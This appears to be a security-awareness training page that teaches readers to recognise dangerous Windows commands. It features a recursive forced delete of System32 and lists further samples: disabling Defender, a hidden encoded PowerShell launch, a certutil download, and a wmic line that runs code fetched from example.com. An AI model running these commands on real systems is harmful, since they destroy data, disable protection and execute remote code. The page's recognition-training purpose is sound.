Dangerous
Remove-Item -Recurse -Force C:\Windows\System32windows · powershell · Intermediate
Recursively deletes the core Windows system directory. PowerShell's verb-noun naming makes it read gently compared to its Unix equivalent, but Recurse plus Force against System32 leaves an unbootable machine.
Signals to notice
- Recursive force delete of a system directory
- No confirmation prompt
- Renders the OS unbootable
Think you can spot these under time pressure?
Start TrainingMore Windows
Get-ProcessIntermediateGet-ChildItem -Path C:\Users -Recurse -Filter *.logAdvancedSet-MpPreference -DisableRealtimeMonitoring $trueIntermediatepowershell -nop -w hidden -enc RwBlAHQALQBEAGEAdABlAA==Advancedcertutil.exe -urlcache -split -f https://example.com/update.txt update.txtExpertwmic process call create "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('https://example.com/a')"Nightmare